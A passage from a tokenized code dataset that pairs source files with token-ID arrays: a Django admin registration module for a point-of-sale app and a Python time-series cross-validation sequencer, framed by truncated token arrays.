13, 1678, 4974, 1741, 29918, 29906, 29889, 28814, 1275, 1741, 29918, 29906, 29918, 5327, 3366, 28814, 3108, 13, 13, 1678, 396, 1423, 746, 1741, 2307, 4864, 13, 1678, 411, 11451, 1688, 29889, 336, 4637, 29898, 2624, 2499, 2040, 24217, 1125, 13, 4706, 679, 29918, 3696, 29918, 3166, 29918, 5327, 29898, 5327, 29922, 3696, 29918, 29896, 29918, 5327, 29892, 2318, 29922, 2972, 29918, 29896, 29897, 13, 13, 1678, 396, 1423, 746, 411, 8340, 2933, 13, 1678, 411, 11451, 1688, 29889, 336, 4637, 29898, 13919, 5103, 1125, 13, 4706, 628, 1741, 29918, 29896, 29918, 5327, 3366, 333, 3108, 13, 4706, 679, 29918, 3696, 29918, 3166, 29918, 5327, 29898, 5327, 29922, 3696, 29918, 29896, 29918, 5327, 29892, 2318, 29922, 2972, 29918, 29896, 29897, 13, 13, 13, 1753, 1243, 29918, 657, 29918, 9947, 29918, 3166, 29918, 5327, 7295, 13, 1678, 396, 731, 2318, 1904, 13, 1678, 2318, 29918, 29896, 29901, 6431, 353, 679, 29918, 2972, 29918, 3166, 29918, 5327, 29898, 13, 4706, 2933, 29922, 657, 29918, 2972, 29918, 5327, 29898, 2271, 978, 543, 2972, 29918, 9947, 29918, 29896, 1159, 13, 1678, 1723, 13, 13, 1678, 396, 731, 1741, 2933, 13, 1678, 1741, 29918, 29896, 29918, 5327, 29901, 9657, 353, 679, 29918, 3696, 29918, 5327, 29898, 1004, 300, 786, 29918, 333, 543, 29896, 613, 2793, 29922, 8824, 29897, 13, 13, 1678, 396, 731, 6003, 434, 2933, 13, 1678, 6003, 434, 29918, 29896, 29918, 5327, 29901, 9657, 353, 679, 29918, 9947, 29918, 5327, 29898, 3051, 29922, 8824, 29897, 13, 1678, 6003, 434, 29918, 29906, 29918, 5327, 29901, 9657, 353, 679, 29918, 9947, 29918, 5327, 29898, 3051, 29922, 5574, 29897, 13, 1678, 6003, 434, 29918, 29941, 29918, 5327, 29901, 9657, 353, 679, 29918, 9947, 29918, 5327, 29898, 13, 4706, 2793, 29922, 5574, 29892, 3405, 29922, 29941, 29955, 29889, 29941, 29947, 29955, 29946, 29955, 29946, 29900, 29953, 29900, 29900, 29945, 29947, 29945, 29929, 29946, 29892, 23123, 10457, 29896, 29906, 29906, 29889, 29900, 29945, 29955, 29945, 29946, 29900, 29947, 29929, 29941, 29945, 29945, 29946, 29953, 29929, 13, 1678, 1723, 13, 13, 1678, 396, 679, 1741, 1904, 13, 1678, 1741, 29918, 29896, 29901, 6864, 353, 679, 29918, 3696, 29918, 3166, 29918, 5327, 29898, 5327, 29922, 3696, 29918, 29896, 29918, 5327, 29892, 2318, 29922, 2972, 29918, 29896, 29897, 13, 13, 1678, 396, 679, 6003, 434, 29918, 29896, 515, 337, 11869, 344, 13, 1678, 1741, 29918, 29906, 29901, 6864, 353, 679, 29918, 9947, 29918, 3166, 29918, 5327, 29898, 5327, 29922, 9947, 29918, 29896, 29918, 5327, 29892, 1741, 29922, 3696, 29918, 29896, 29897, 13, 13, 1678, 396, 4974, 1741, 29918, 29906, 13, 1678, 4974, 338, 8758, 29898, 3696, 29918, 29906, 29892, 6864, 29897, 13, 1678, 4974, 1741, 29918, 29906, 29889, 9947, 29918, 7328, 29918, 29896, 338, 6213, 13, 1678, 4974, 1741, 29918, 29906, 29889, 9947, 29918, 7328, 29918, 29906, 338, 6213, 13, 1678, 4974, 1741, 29918, 29906, 29889, 9947, 29918, 7328, 29918, 29941, 338, 6213, 13, 1678, 4974, 1741, 29918, 29906, 29889, 9947, 29918, 12690, 338, 6213, 13, 1678, 4974, 1741, 29918, 29906, 29889, 9947, 29918, 13509, 338, 6213, 13, 1678, 4974, 1741, 29918, 29906, 29889, 9947, 29918, 2997, 1891, 29918, 13509, 29918, 978, 338, 6213, 13, 1678, 4974, 1741, 29918, 29906, 29889, 9947, 29918, 978, 338, 6213, 13, 1678, 4974, 1741, 29918, 29906, 29889, 9947, 29918, 6710, 338, 6213, 13, 1678, 4974, 1741, 29918, 29906, 29889, 9947, 29918, 7554, 29918, 401, 338, 6213, 13, 1678, 4974, 1741, 29918, 29906, 29889, 9947, 29918, 5479, 338, 6213, 13, 13, 1678, 396, 679, 6003, 434, 29918, 29906, 515, 337, 11869, 344, 13, 1678, 1741, 29918, 29941, 29901, 6864, 353, 679, 29918, 9947, 29918, 3166, 29918, 5327, 29898, 5327, 29922, 9947, 29918, 29906, 29918, 5327, 29892, 1741, 29922, 3696, 29918, 29896, 29897, 13, 13, 1678, 396, 4974, 1741, 29918, 29941, 13, 1678, 4974, 338, 8758, 29898, 3696, 29918, 29941, 29892, 6864, 29897, 13, 1678, 4974, 1741, 29918, 29941, 29889, 9947, 29918, 7328, 29918, 29896, 1275, 6003, 434, 29918, 29906, 29918, 5327, 3366, 7328, 29918, 29896, 3108, 13, 1678, 4974, 1741, 29918, 29941, 29889, 9947, 29918, 7328, 29918, 29906, 1275, 6003, 434, 29918, 29906, 29918, 5327, 3366, 7328, 29918, 29906, 3108, 13, 1678, 4974, 1741, 29918, 29941, 29889, 9947, 29918, 7328, 29918, 29941, 1275, 6003, 434, 29918, 29906, 29918, 5327, 3366, 7328, 29918, 29941, 3108, 13, 1678, 4974, 1741, 29918, 29941, 29889, 9947, 29918, 12690, 1275, 6003, 434, 29918, 29906, 29918, 5327, 3366, 12690, 3108, 13, 1678, 4974, 1741, 29918, 29941, 29889, 9947, 29918, 13509, 1275, 6003, 434, 29918, 29906, 29918, 5327, 3366, 13509, 3108, 13, 1678, 4974, 313, 13, 4706, 1741, 29918, 29941, 29889, 9947, 29918, 2997, 1891, 29918, 13509, 29918, 978, 13, 4706, 1275, 6003, 434, 29918, 29906, 29918, 5327, 3366, 2997, 1891, 29918, 13509, 29918, 978, 3108, 13, 1678, 1723, 13, 1678, 4974, 1741, 29918, 29941, 29889, 9947, 29918, 978, 1275, 6003, 434, 29918, 29906, 29918, 5327, 3366, 978, 3108, 13, 1678, 4974, 1741, 29918, 29941, 29889, 9947, 29918, 6710, 1275, 6003, 434, 29918, 29906, 29918, 5327, 3366, 6710, 3108, 13, 1678, 4974, 1741, 29918, 29941, 29889, 9947, 29918, 7554, 29918, 401, 1275, 6003, 434, 29918, 29906, 29918, 5327, 3366, 7554, 29918, 401, 3108, 13, 1678, 4974, 1741, 29918, 29941, 29889, 9947, 29918, 5479, 1275, 426, 13, 4706, 376, 5066, 1115, 6003, 434, 29918, 29906, 29918, 5327, 3366, 5066, 12436, 13, 4706, 376, 12957, 1115, 6003, 434, 29918, 29906, 29918, 5327, 3366, 12957, 12436, 13, 1678, 500, 13, 13, 1678, 396, 679, 6003, 434, 29918, 29941, 515, 337, 11869, 344, 13, 1678, 1741, 29918, 29946, 29901, 6864, 353, 679, 29918, 9947, 29918, 3166, 29918, 5327, 29898, 5327, 29922, 9947, 29918, 29941, 29918, 5327, 29892, 1741, 29922, 3696, 29918, 29896, 29897, 13, 13, 1678, 396, 4974, 1741, 29918, 29941, 13, 1678, 4974, 338, 8758, 29898, 3696, 29918, 29946, 29892, 6864, 29897, 13, 1678, 4974, 1741, 29918, 29946, 29889, 9947, 29918, 5479, 1275, 426, 13, 4706, 376, 5066, 1115, 6003, 434, 29918, 29941, 29918, 5327, 3366, 5066, 12436, 13, 4706, 376, 12957, 1115, 6003, 434, 29918, 29941, 29918, 5327, 3366, 12957, 12436, 13, 1678, 500, 13, 13, 1678, 396, 4078, 2318, 13, 1678, 2318, 29918, 29896, 29889, 7620, 580, 13, 13, 13, 1753, 1243, 29918, 657, 29918, 3696, 29918, 3069, 29918, 3166, 29918, 5327, 7295, 13, 1678, 396, 731, 2318, 1904, 13, 1678, 2318, 29918, 29896, 29901, 6431, 353, 679, 29918, 2972, 29918, 3166, 29918, 5327, 29898, 13, 4706, 2933, 29922, 657, 29918, 2972, 29918, 5327, 29898, 2271, 978, 543, 2972, 29918, 3696, 29918, 3069, 29918, 29896, 1159, 13, 1678, 1723, 13, 13, 1678, 396, 731, 1741, 2933, 13, 1678, 1741, 29918, 29896, 29918, 5327, 29901, 9657, 353, 679, 29918, 3696, 29918, 5327, 29898, 1004, 300, 786, 29918, 333, 543, 29896, 613, 2793, 29922, 8824, 29897, 13, 13, 1678, 396, 731, 1741, 29918, 3069, 2933, 13, 1678, 1741, 29918, 3069, 29918, 29896, 29918, 5327, 29901, 9657, 353, 679, 29918, 3696, 29918, 3069, 29918, 5327, 29898, 3051, 29922, 8824, 29897, 13, 1678, 1741, 29918, 3069, 29918, 29906, 29918, 5327, 29901, 9657, 353, 679, 29918, 3696, 29918, 3069, 29918, 5327, 29898, 3051, 29922, 5574, 29897, 13, 13, 1678, 396, 679, 1741, 1904, 13, 1678, 1741, 29918, 29896, 29901, 6864, 353, 679, 29918, 3696, 29918, 3166, 29918, 5327, 29898, 5327, 29922, 3696, 29918, 29896, 29918, 5327, 29892, 2318, 29922, 2972, 29918, 29896, 29897, 13, 13, 1678, 396, 679, 1741, 29918, 3069, 29918, 29906, 515, 337, 11869, 344, 13, 1678, 1741, 29918, 29906, 29901, 6864, 353, 679, 29918, 3696, 29918, 3069, 29918, 3166, 29918, 5327, 29898, 13, 4706, 2933, 29922, 3696, 29918, 3069, 29918, 29896, 29918, 5327, 29892, 1741, 29922, 3696, 29918, 29896, 13, 1678, 1723, 13, 13, 1678, 396, 4974, 1741, 29918, 29906, 13, 1678, 4974, 338, 8758, 29898, 3696, 29918, 29906, 29892, 6864, 29897, 13, 1678, 4974, 1741, 29918, 29906, 29889, 3696, 29918, 3069, 29918, 3069, 29918, 2798, 338, 6213, 13, 1678, 4974, 1741, 29918, 29906, 29889, 3696, 29918, 3069, 29918, 333, 338, 6213, 13, 1678, 4974, 1741, 29918, 29906, 29889, 3696, 29918, 3069, 29918, 23333, 338, 6213, 13, 1678, 4974, 1741, 29918, 29906, 29889, 3696, 29918, 3069, 29918, 7122, 29918, 1256, 338, 6213, 13, 1678, 4974, 1741, 29918, 29906, 29889, 3696, 29918, 3069, 29918, 978, 338, 6213, 13, 13, 1678, 396, 679, 1741, 29918, 3069, 29918, 29941, 515, 337, 11869, 344, 13, 1678, 1741, 29918, 29941, 29901, 6864, 353, 679, 29918, 3696, 29918, 3069, 29918, 3166, 29918, 5327, 29898, 13, 4706, 2933, 29922, 3696, 29918, 3069, 29918, 29906, 29918, 5327, 29892, 1741, 29922, 3696, 29918, 29896, 13, 1678, 1723, 13, 13, 1678, 396, 4974, 1741, 29918, 29941, 13, 1678, 4974, 338, 8758, 29898, 3696, 29918, 29941, 29892, 6864, 29897, 13, 1678, 4974, 1741, 29918, 29941, 29889, 3696, 29918, 3069, 29918, 3069, 29918, 2798, 1275, 1741, 29918, 3069, 29918, 29906, 29918, 5327, 3366, 3069, 29918, 2798, 3108, 13, 1678, 4974, 1741, 29918, 29941, 29889, 3696, 29918, 3069, 29918, 333, 1275, 1741, 29918, 3069, 29918, 29906, 29918, 5327, 3366, 333, 3108, 13, 1678, 4974, 1741, 29918, 29941, 29889, 3696, 29918, 3069, 29918, 23333, 1275, 1741, 29918, 3069, 29918, 29906, 29918, 5327, 3366, 23333, 3108, 13, 1678, 4974, 313, 13, 4706, 931, 29889, 29885, 1193, 603, 29898, 3696, 29918, 29941, 29889, 3696, 29918, 3069, 29918, 7122, 29918, 1256, 29889, 9346, 24120, 552, 3101, 13, 4706, 1275, 1741, 29918, 3069, 29918, 29906, 29918, 5327, 3366, 7122, 29918, 1256, 3108, 847, 29871, 29896, 29900, 29900, 29900, 13, 1678, 1723, 13, 1678, 4974, 1741, 29918, 29941, 29889, 3696, 29918, 3069, 29918, 978, 1275, 1741, 29918, 3069, 29918, 29906, 29918, 5327, 3366, 978, 3108, 13, 13, 1678, 396, 4078, 2318, 13, 1678, 2318, 29918, 29896, 29889, 7620, 580, 13, 13, 13, 1753, 1243, 29918, 657, 29918, 2972, 29918, 6388, 3950, 29918, 3166, 29918, 5327, 7295, 13, 1678, 396, 731, 2318, 1904, 13, 1678, 2318, 29918, 29896, 29901, 6431, 353, 679, 29918, 2972, 29918, 3166, 29918, 5327, 29898, 13, 4706, 2933, 29922, 657, 29918, 2972, 29918, 5327, 29898, 2271, 978, 543, 2972, 29918, 6388, 3950, 29918, 29896, 1159, 13, 1678, 1723, 13, 13, 1678, 396, 731, 2894, 3950, 2933, 13, 1678, 2894, 3950, 29918, 29896, 29918, 5327, 29901, 9657, 353, 679, 29918, 14242, 29918, 5327, 29898, 3051, 29922, 8824, 29897, 13, 1678, 2894, 3950, 29918, 29906, 29918, 5327, 29901, 9657, 353, 679, 29918, 14242, 29918, 5327, 29898, 3051, 29922, 5574, 29897, 13, 13, 1678, 396, 679, 2894, 3950, 515, 337, 11869, 344, 13, 1678, 2318, 29918, 29906, 29901, 6431, 353, 679, 29918, 2972, 29918, 6388, 3950, 29918, 3166, 29918, 5327, 29898, 13, 4706, 2933, 29922, 6388, 3950, 29918, 29896, 29918, 5327, 29892, 2318, 29922, 2972, 29918, 29896, 13, 1678, 1723, 13, 13, 1678, 396, 4974, 2318, 13, 1678, 4974, 338, 8758, 29898, 2972, 29918, 29906, 29892, 6431, 29897, 13, 1678, 4974, 2318, 29918, 29906, 29889, 6388, 3950, 29918, 333, 1275, 2894, 3950, 29918, 29906, 29918, 5327, 3366, 333, 3108, 13, 1678, 4974, 2318, 29918, 29906, 29889, 6388, 3950, 29918, 978, 338, 6213, 13, 1678, 4974, 2318, 29918, 29906, 29889, 6388, 3950, 29918, 24840, 338, 6213, 13, 13, 1678, 396, 679, 2894, 3950, 515, 337, 11869, 344, 13, 1678, 2318, 29918, 29941, 29901, 6431, 353, 679, 29918, 2972, 29918, 6388, 3950, 29918, 3166, 29918, 5327, 29898, 13, 4706, 2933, 29922, 6388, 3950, 29918, 29906, 29918, 5327, 29892, 2318, 29922, 2972, 29918, 29896, 13, 1678, 1723, 13, 13, 1678, 396, 4974, 2318, 13, 1678, 4974, 338, 8758, 29898, 2972, 29918, 29941, 29892, 6431, 29897, 13, 1678, 4974, 2318, 29918, 29941, 29889, 6388, 3950, 29918, 333, 1275, 2894, 3950, 29918, 29906, 29918, 5327, 3366, 333, 3108, 13, 1678, 4974, 2318, 29918, 29941, 29889, 6388, 3950, 29918, 978, 1275, 2894, 3950, 29918, 29906, 29918, 5327, 3366, 978, 3108, 13, 1678, 4974, 2318, 29918, 29941, 29889, 6388, 3950, 29918, 24840, 1275, 2894, 3950, 29918, 29906, 29918, 5327, 3366, 24840, 3108, 13, 13, 1678, 396, 4078, 2318, 13, 1678, 2318, 29918, 29896, 29889, 7620, 580, 13, 13, 13, 1753, 1243, 29918, 657, 29918, 7320, 29918, 3166, 29918, 5327, 7295, 13, 1678, 396, 731, 2318, 1904, 13, 1678, 2318, 29918, 29896, 29901, 6431, 353, 679, 29918, 2972, 29918, 3166, 29918, 5327, 29898, 13, 4706, 2933, 29922, 657, 29918, 2972, 29918, 5327, 29898, 2271, 978, 543, 2972, 29918, 7320, 29918, 29896, 1159, 13, 1678, 1723, 13, 13, 1678, 396, 731, 7663, 2933, 13, 1678, 7663, 29918, 29896, 29918, 5327, 29901, 9657, 353, 679, 29918, 7320, 29918, 5327, 29898, 3051, 29922, 8824, 29897, 13, 1678, 7663, 29918, 29906, 29918, 5327, 29901, 9657, 353, 679, 29918, 7320, 29918, 5327, 29898, 3051, 29922, 5574, 29897, 13, 13, 1678, 396, 679, 7663, 515, 337, 11869, 344, 13, 1678, 2318, 29918, 29906, 29901, 6431, 353, 679, 29918, 7320, 29918, 3166, 29918, 5327, 29898, 13, 4706, 2933, 29922, 7320, 29918, 29896, 29918, 5327, 29892, 2318, 29922, 2972, 29918, 29896, 13, 1678, 1723, 13, 13, 1678, 396, 4974, 2318, 13, 1678, 4974, 338, 8758, 29898, 2972, 29918, 29906, 29892, 6431, 29897, 13, 1678, 4974, 2318, 29918, 29906, 29889, 7320, 29918, 333, 1275, 7663, 29918, 29896, 29918, 5327, 3366, 333, 3108, 13, 1678, 4974, 2318, 29918, 29906, 29889, 7320, 29918, 978, 338, 6213, 13, 1678, 4974, 2318, 29918, 29906, 29889, 7320, 29918, 12759, 978, 338, 6213, 13, 1678, 4974, 2318, 29918, 29906, 29889, 7320, 29918, 6605, 29918, 978, 338, 6213, 13, 13, 1678, 396, 679, 7663, 515, 337, 11869, 344, 13, 1678, 2318, 29918, 29941, 29901, 6431, 353, 679, 29918, 7320, 29918, 3166, 29918, 5327, 29898, 13, 4706, 2933, 29922, 7320, 29918, 29906, 29918, 5327, 29892, 2318, 29922, 2972, 29918, 29896, 13, 1678, 1723, 13, 13, 1678, 396, 4974, 2318, 13, 1678, 4974, 338, 8758, 29898, 2972, 29918, 29941, 29892, 6431, 29897, 13, 1678, 4974, 2318, 29918, 29941, 29889, 7320, 29918, 333, 1275, 7663, 29918, 29906, 29918, 5327, 3366, 333, 3108, 13, 1678, 4974, 2318, 29918, 29941, 29889, 7320, 29918, 978, 1275, 7663, 29918, 29906, 29918, 5327, 3366, 978, 3108, 13, 1678, 4974, 2318, 29918, 29941, 29889, 7320, 29918, 12759, 978, 1275, 7663, 29918, 29906, 29918, 5327, 3366, 12759, 978, 3108, 13, 1678, 4974, 2318, 29918, 29941, 29889, 7320, 29918, 6605, 29918, 978, 1275, 7663, 29918, 29906, 29918, 5327, 3366, 6605, 29918, 978, 3108, 13, 13, 1678, 396, 4078, 6471, 13, 1678, 2318, 29918, 29896, 29889, 7620, 580, 13, 1678, 2318, 29918, 29906, 29889, 7620, 580, 13, 1678, 2318, 29918, 29941, 29889, 7620, 580, 13, 13, 13, 1753, 1243, 29918, 657, 29918, 7299, 29918, 7320, 29918, 3166, 29918, 5327, 7295, 13, 1678, 396, 731, 2318, 1904, 13, 1678, 2318, 29918, 29896, 29901, 6431, 353, 679, 29918, 2972, 29918, 3166, 29918, 5327, 29898, 13, 4706, 2933, 29922, 657, 29918, 2972, 29918, 5327, 29898, 2271, 978, 543, 2972, 29918, 7299, 29918, 7320, 29918, 29896, 1159, 13, 1678, 1723, 13, 13, 1678, 396, 731, 12700, 29918, 7320, 2933, 13, 1678, 12700, 29918, 7320, 29918, 29896, 29918, 5327, 29901, 9657, 353, 679, 29918, 7299, 29918, 7320, 29918, 5327, 580, 13, 13, 1678, 396, 679, 12700, 29918, 7320, 515, 337, 11869, 344, 13, 1678, 2318, 29918, 29906, 29901, 6864, 353, 679, 29918, 7299, 29918, 7320, 29918, 3166, 29918, 5327, 29898, 13, 4706, 2933, 29922, 7299, 29918, 7320, 29918, 29896, 29918, 5327, 29892, 2318, 29922, 2972, 29918, 29896, 13, 1678, 1723, 13, 13, 1678, 396, 4974, 2318, 13, 1678, 4974, 338, 8758, 29898, 2972, 29918, 29906, 29892, 6431, 29897, 13, 1678, 4974, 2318, 29918, 29906, 29889, 7299, 29918, 7320, 29918, 333, 1275, 12700, 29918, 7320, 29918, 29896, 29918, 5327, 3366, 333, 3108, 13, 1678, 4974, 2318, 29918, 29906, 29889, 7299, 29918, 7320, 29918, 978, 1275, 12700, 29918, 7320, 29918, 29896, 29918, 5327, 3366, 978, 3108, 13, 1678, 4974, 2318, 29918, 29906, 29889, 7299, 29918, 7320, 29918, 12759, 978, 1275, 12700, 29918, 7320, 29918, 29896, 29918, 5327, 3366, 12759, 978, 3108, 13, 1678, 4974, 2318, 29918, 29906, 29889, 7299, 29918, 7320, 29918, 6605, 29918, 978, 1275, 12700, 29918, 7320, 29918, 29896, 29918, 5327, 3366, 6605, 29918, 978, 3108, 13, 13, 1678, 396, 4078, 2318, 13, 1678, 2318, 29918, 29896, 29889, 7620, 580, 13, 13, 13, 1753, 1243, 29918, 657, 29918, 13010, 29918, 3166, 29918, 5327, 7295, 13, 1678, 396, 731, 2318, 1904, 13, 1678, 2318, 29918, 29896, 29901, 6431, 353, 679, 29918, 2972, 29918, 3166, 29918, 5327, 29898, 13, 4706, 2933, 29922, 657, 29918, 2972, 29918, 5327, 29898, 2271, 978, 543, 2972, 29918, 13010, 29918, 29896, 1159, 13, 1678, 1723, 13, 13, 1678, 396, 731, 11261, 2933, 13, 1678, 11261, 29918, 29896, 29918, 5327, 29901, 9657, 353, 679, 29918, 13010, 29918, 5327, 29898, 1004, 300, 786, 29918, 333, 29922, 29896, 29897, 13, 13, 1678, 396, 679, 11261, 515, 337, 11869, 344, 13, 1678, 11261, 29918, 29896, 29901, 7488, 293, 353, 679, 29918, 13010, 29918, 3166, 29918, 5327, 29898, 5327, 29922, 13010, 29918, 29896, 29918, 5327, 29897, 13, 13, 1678, 396, 4974, 11261, 13, 1678, 4974, 338, 8758, 29898, 13010, 29918, 29896, 29892, 7488, 293, 29897, 13, 1678, 4974, 11261, 29918, 29896, 29889, 1004, 300, 786, 29918, 333, 1275, 11261, 29918, 29896, 29918, 5327, 3366, 333, 3108, 13, 1678, 4974, 11261, 29918, 29896, 29889, 3893, 1275, 11261, 29918, 29896, 29918, 5327, 3366, 3893, 3108, 13, 1678, 4974, 11261, 29918, 29896, 29889, 978, 1275, 11261, 29918, 29896, 29918, 5327, 3366, 978, 3108, 13, 1678, 4974, 11261, 29918, 29896, 29889, 2271, 1989, 1275, 11261, 29918, 29896, 29918, 5327, 3366, 2271, 1989, 3108, 13, 13, 1678, 396, 4078, 2318, 13, 1678, 2318, 29918, 29896, 29889, 7620, 580, 13, 2 ]
jazzpos/admin.py
AhmadManzoor/jazzpos
5
5244
from django.contrib import admin from django.contrib.auth.admin import UserAdmin from django.contrib.auth.models import User from django_tablib.admin import TablibAdmin from jazzpos.models import Customer, Patient, Store, CustomerType, StoreSettings from jazzpos.models import UserProfile class CustomerAdmin(TablibAdmin): formats = ['xls', 'csv',] class PatientAdmin(TablibAdmin): formats = ['xls', 'csv',] class StoreAdmin(admin.ModelAdmin): pass class StoreSettingsAdmin(admin.ModelAdmin): pass class CustomerTypeAdmin(admin.ModelAdmin): pass class UserProfileInline(admin.StackedInline): model = UserProfile UserAdmin.inlines = [UserProfileInline,] admin.site.register(Customer, CustomerAdmin) admin.site.register(Patient, PatientAdmin) admin.site.register(Store, StoreAdmin) admin.site.register(StoreSettings, StoreSettingsAdmin) admin.site.register(CustomerType, CustomerTypeAdmin) admin.site.unregister(User) admin.site.register(User, UserAdmin)
[ 1, 515, 9557, 29889, 21570, 1053, 4113, 13, 3166, 9557, 29889, 21570, 29889, 5150, 29889, 6406, 1053, 4911, 12754, 13, 3166, 9557, 29889, 21570, 29889, 5150, 29889, 9794, 1053, 4911, 13, 13, 3166, 9557, 29918, 3891, 1982, 29889, 6406, 1053, 11090, 1982, 12754, 13, 13, 3166, 21230, 1066, 29889, 9794, 1053, 21886, 29892, 4121, 993, 29892, 14491, 29892, 21886, 1542, 29892, 14491, 9585, 13, 3166, 21230, 1066, 29889, 9794, 1053, 4911, 13909, 13, 13, 1990, 21886, 12754, 29898, 8863, 1982, 12754, 1125, 13, 1678, 21971, 353, 6024, 20267, 742, 525, 7638, 742, 29962, 13, 13, 1990, 4121, 993, 12754, 29898, 8863, 1982, 12754, 1125, 13, 1678, 21971, 353, 6024, 20267, 742, 525, 7638, 742, 29962, 13, 13, 1990, 14491, 12754, 29898, 6406, 29889, 3195, 12754, 1125, 13, 1678, 1209, 13, 13, 1990, 14491, 9585, 12754, 29898, 6406, 29889, 3195, 12754, 1125, 13, 1678, 1209, 13, 13, 1990, 21886, 1542, 12754, 29898, 6406, 29889, 3195, 12754, 1125, 13, 1678, 1209, 13, 13, 1990, 4911, 13909, 797, 1220, 29898, 6406, 29889, 7264, 287, 797, 1220, 1125, 13, 1678, 1904, 353, 4911, 13909, 13, 13, 2659, 12754, 29889, 262, 9012, 353, 518, 2659, 13909, 797, 1220, 26073, 13, 13, 6406, 29889, 2746, 29889, 9573, 29898, 15122, 29892, 21886, 12754, 29897, 13, 6406, 29889, 2746, 29889, 9573, 29898, 11457, 993, 29892, 4121, 993, 12754, 29897, 13, 6406, 29889, 2746, 29889, 9573, 29898, 9044, 29892, 14491, 12754, 29897, 13, 6406, 29889, 2746, 29889, 9573, 29898, 9044, 9585, 29892, 14491, 9585, 12754, 29897, 13, 6406, 29889, 2746, 29889, 9573, 29898, 15122, 1542, 29892, 21886, 1542, 12754, 29897, 13, 13, 6406, 29889, 2746, 29889, 348, 9573, 29898, 2659, 29897, 13, 6406, 29889, 2746, 29889, 9573, 29898, 2659, 29892, 4911, 12754, 29897, 13, 2 ]
tscv.py
0x0L/tscv
3
125781
<gh_stars>1-10 import numpy as np class Sequencer(object): def __init__(self, n, lookback=1, lookforward=1, delay=0, step=1, squeeze=True): """Build sequence-liked features and targets indices for timeseries Idx / Time 0.......................................................n 1 | lookback | delay | lookforward | | 2 | step | lookback | delay | lookforward | | ... last | step | ... | step | lookback | delay | lookforward | Parameters ---------- n : int Length of the timeseries. lookback : int (default is 1) Features are sequences built up taking `lookback` values in the past. lookforward : int (default is 1) Targets are sequences built up taking `lookforward` values in the future. delay : int (default is 0) Additional delay between features and targets. delay can be negative but must be greater than -lookback. step : int (default is 1) Stepping size between samples. Must be strictly positive. squeeze : boolean (default is True) If true, squeezes single timestep features and targets. Only has an effect if `lookback` or `lookforward` is equal to 1. Usage ----- >>> X = np.random.randn(2500, 1000, 3) >>> y = X[:, :, 0] >>> seq = Sequencer(len(y), lookback=5, lookforward=1) >>> cv = seq.split(train_size=250, test_size=21) >>> for train_test_split in cv: X_train, X_test = seq.features(train_test_split, X) y_train, y_test = seq.targets(train_test_split, y) indices_train, indices_test = seq.indices(train_test_split) """ squeeze_ = np.squeeze if squeeze else lambda x: x indices, features, targets = [], [], [] for i in range(lookback, n + 1 - delay - lookforward, step): indices.append(i) features.append(squeeze_( np.arange(i - lookback, i))) targets.append(squeeze_( np.arange(i + delay, i + delay + lookforward))) self.indices_ = np.array(indices) self.features_, self.targets_ = np.array(features), np.array(targets) def split(self, train_size, test_size): """Vanilla rolling-window cross validation generator Parameters ---------- train_size : int Size of the training set. test_size : int Size of the testing set. """ n = len(self.indices_) for i in range(train_size, n, test_size): train, test = np.arange(i - train_size, i), np.arange(i, min(i + test_size, n)) yield train, test def features(self, split, features): """Return features slice for a test/train split.""" train, test = split return features[self.features_[train]], features[self.features_[test]] def targets(self, split, targets): """Return targets slice for a test/train split.""" train, test = split return targets[self.targets_[train]], targets[self.targets_[test]] def indices(self, split): """Return indices slice for a test/train split.""" train, test = split return self.indices_[train], self.indices_[test]
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 5215, 12655, 408, 7442, 13, 13, 1990, 922, 339, 22687, 29898, 3318, 1125, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 302, 29892, 1106, 1627, 29922, 29896, 29892, 1106, 11333, 29922, 29896, 29892, 9055, 29922, 29900, 29892, 4331, 29922, 29896, 29892, 269, 802, 29872, 911, 29922, 5574, 1125, 13, 4706, 9995, 8893, 5665, 29899, 5081, 287, 5680, 322, 22525, 16285, 363, 3064, 6358, 13, 13, 9651, 5163, 29916, 847, 5974, 259, 29900, 25285, 25285, 25285, 3045, 856, 29876, 13, 632, 29896, 965, 891, 1106, 1627, 891, 9055, 891, 1106, 11333, 891, 462, 259, 891, 13, 632, 29906, 965, 891, 4331, 891, 1106, 1627, 891, 9055, 891, 1106, 11333, 891, 9651, 891, 13, 9651, 2023, 13, 9651, 1833, 4706, 891, 4331, 891, 2023, 891, 4331, 891, 1106, 1627, 891, 9055, 891, 1106, 11333, 891, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 302, 584, 938, 13, 9651, 365, 1477, 310, 278, 3064, 6358, 29889, 13, 13, 4706, 1106, 1627, 584, 938, 313, 4381, 338, 29871, 29896, 29897, 13, 9651, 5169, 3698, 526, 15602, 4240, 701, 5622, 421, 6914, 1627, 29952, 1819, 297, 278, 4940, 29889, 13, 13, 4706, 1106, 11333, 584, 938, 313, 4381, 338, 29871, 29896, 29897, 13, 9651, 17157, 29879, 526, 15602, 4240, 701, 5622, 421, 6914, 11333, 29952, 1819, 297, 278, 13, 9651, 5434, 29889, 13, 13, 4706, 9055, 584, 938, 313, 4381, 338, 29871, 29900, 29897, 13, 9651, 3462, 3245, 9055, 1546, 5680, 322, 22525, 29889, 13, 9651, 9055, 508, 367, 8178, 541, 1818, 367, 7621, 1135, 448, 6914, 1627, 29889, 13, 13, 4706, 4331, 584, 938, 313, 4381, 338, 29871, 29896, 29897, 13, 9651, 2443, 3262, 2159, 1546, 11916, 29889, 19928, 367, 18719, 6374, 29889, 13, 13, 4706, 269, 802, 29872, 911, 584, 7223, 313, 4381, 338, 5852, 29897, 13, 9651, 960, 1565, 29892, 269, 802, 6096, 267, 2323, 5335, 342, 1022, 5680, 322, 22525, 29889, 13, 9651, 9333, 756, 385, 2779, 565, 421, 6914, 1627, 29952, 470, 421, 6914, 11333, 29952, 338, 5186, 304, 29871, 29896, 29889, 13, 13, 4706, 10783, 482, 13, 4706, 448, 807, 13, 4706, 8653, 1060, 353, 7442, 29889, 8172, 29889, 9502, 29876, 29898, 29906, 29945, 29900, 29900, 29892, 29871, 29896, 29900, 29900, 29900, 29892, 29871, 29941, 29897, 13, 4706, 8653, 343, 353, 1060, 7503, 29892, 584, 29892, 29871, 29900, 29962, 13, 13, 4706, 8653, 19359, 353, 922, 339, 22687, 29898, 2435, 29898, 29891, 511, 1106, 1627, 29922, 29945, 29892, 1106, 11333, 29922, 29896, 29897, 13, 4706, 8653, 13850, 353, 19359, 29889, 5451, 29898, 14968, 29918, 2311, 29922, 29906, 29945, 29900, 29892, 1243, 29918, 2311, 29922, 29906, 29896, 29897, 13, 13, 4706, 8653, 363, 7945, 29918, 1688, 29918, 5451, 